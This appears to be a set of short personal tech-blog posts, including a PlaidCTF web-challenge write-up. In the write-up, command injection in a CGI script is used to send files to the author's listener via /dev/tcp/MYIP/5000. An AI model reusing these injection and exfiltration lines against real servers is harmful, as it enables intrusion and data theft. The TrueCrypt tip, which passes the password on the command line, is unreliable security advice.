To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps:

history -d $((HISTCMD-1)) && sudo truecrypt --mount <PATH_TO_TRUECRYPT_VOL> --non-interactive -p <PASSWORD>

This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line.  Of course, if you use this in a shell script then the shell script will have the password in it, so you must not do that.

I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN. I noticed that there was nothing that would give me the status of whether or not the tunnel was up. So I wrote a small one-liner to help me:

while [ `ps aux |grep vpnc|grep -v grep|awk '{print $2}'` ] ; do printf "Connected\r"; done


The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web
The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

i updated my backtrack 4 R1 finally using the directions mentioned here. However, after the upgrade my Intel Corporation Wireless WiFi Link 5100 wireless adapter stopped working. My first thought was that the driver was corrupted or something after the upgrade.
But looking through the ‘dmesg‘ command output it became clear that during the startup a particular file iwlwifi-5000-2.ucode could not be located. I thought a reinstall will do it (always works right?).
# apt-get install firmware-iwlwifi
No luck yet! Searching for these files showed me that they were in two locations and both of these were identical (verified via md5sum) :
/lib/firmware-2.6.30.9/iwlwifi-5000-2.ucode
/lib/firmware-2.6.34/iwlwifi-5000-2.ucode
So I just added a symbolic link as follows:
ln -s /lib/firmware-2.6.34/iwlwifi-5000-2.ucode /lib/firmware-2.6.35.8/iwlwifi-5000-2.ucode
Voila! It now worked! Hope it helps!

I kept getting the following errors on my AD domain in the event viewer and accounts kept locking out:
Pre-authentication failed:
User Name:      user1
User ID:                DOMAIN\user1
Service Name:   krbtgt/DOMAIN.COM
Pre-Authentication Type:        0x0
Failure Code:   0x12
Client Address: 192.168.246.134

For more information, see Help and Support Center at
http://go.microsoft.com/fwlink/events.asp.

In the Directory Service logs I see the following entry:
[snip]
Active Directory could not update the following object with changes
received from the domain controller at the following network address
because Active Directory was busy processing information.

Turns out this happens if you have samba/winbind/AD type infrastructure. If someone has some processes running (Even if they us sudo) and happen to change their password while the process is running on unix (and using kerberos authentication), the accounts lockout because the kerberos ticket granting ticket (krbtgt) is not current and any object access is considered to be a failed login attempt. This locks out the accounts if you have account lockout implemented in your AD domain security policy.